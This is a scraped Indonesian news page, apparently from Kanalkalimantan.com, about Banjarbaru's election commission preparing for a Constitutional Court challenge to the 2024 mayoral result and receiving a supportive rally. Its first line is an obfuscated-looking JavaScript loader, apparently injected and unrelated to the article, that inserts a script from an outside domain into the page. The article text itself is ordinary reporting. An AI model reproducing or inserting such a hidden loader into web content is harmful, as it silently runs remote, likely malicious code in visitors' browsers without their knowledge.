(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Komisi Pemilihan Umum (KPU) Kota Banjarbaru mengaku siap menghadapi proses gugatan yang diajukan ke Mahkamah Konstitusi (MK) terhadap hasil Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarbaru 2024.
Permohonan gugatan sengketa hasil Pilkada itu didaftarkan oleh beberapa pemohon pada awal Desember 2024 lalu.
Terhadap proses hukum itu, Ketua KPU Kota Banjarbaru Dahtiar mengaku akan menghormati bersama-sama. “Karena itu adalah ruang yang disediakan oleh negara dan kita pun berproses, sehingga apapun itu hasil putusan dari MK, maka itu lah yang harus kita jalankan,” ujar Ketua KPU Kota Banjarbaru Dahtiar, Kamis (12/12/2024).
Di sisi lain, Dahtiar menjelaskan bahwa KPU Banjarbaru juga melakukan persiapan sejak saat gugatan itu terdaftar di MK. Saat itu katanya pihaknya masih sama-sama menunggu registrasi.
Baca juga: Naik 6,5 Persen, Upah Minimum Kalsel 2025 Rp3,4 Juta
“Ada persiapan karena secara prinsip karena saat ini sudah masuk terdaftar di MK, tapi kita masih sama-sama masih menunggu registrasinya di MK,” sebut dia.
Dirinya memastikan tim divisi hukum dari KPU Banjarbaru telah dipersiapkan untuk menghadapi gugatan.
“Pastinya kami punya divisi hukum yang membidangi dan melakukan persiapan untuk menghadapi gugatan,” ungkapnya.
Baca juga: Satpol PP Banjar Dapati 7 Penjual Anakan Ikan
Kamis (12/12/2024) siang, Ketua KPU Banjarbaru Dahtiar dan jajaran bersama dengan Ketua DPRD Kota Banjarbaru Gusti Rizky Sukma Iskandar Putera menerima unjuk rasa massa aksi yang tergabung dalam Forum Masyarakat Banjarbaru Peduli Demokrasi.
Ratusan massa aksi memadati halaman kantor KPU Banjarbaru dengan membawa sejumlah armada, sound system dan poster bertuliskan mendukung keputusan KPU Banjarbaru.
Beberap hal aspirasi yang disampaikan, kata Dahtiar, KPU Banjarbaru telah melaksanakan semua tahapan Pilwali sampai dengan saat ini.
“Yang pastinya sudah dengan peraturan perundang-perundangan, kita laksanakan sebagaimana dengan perintah amanah hukum atau konstitusi,” tandas Dahtiar. (Kanalkalimantan.com/wanda)
Reporter : wanda
Editor : bie
KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More
KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More
KANALKALIMANTAN.COM, MARTAPURA - Satuan Polisi Pamong Praja (Satpol PP) Kabupaten Banjar melakukan penertiban terhadap penjualan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuk pengunjung 2024 ini Pemerintah Kabupaten Banjar meraih penghargaan dari Perwakilan Ombudsman… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru menerima anugerah penghargaan dari Ombudsman Republik Indonesia (RI)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pemerintah resmi menaikan Upah Minimum Provinsi (UMP) Kalimantan Selatan (Kalsel) pada tahun… Read More
This website uses cookies.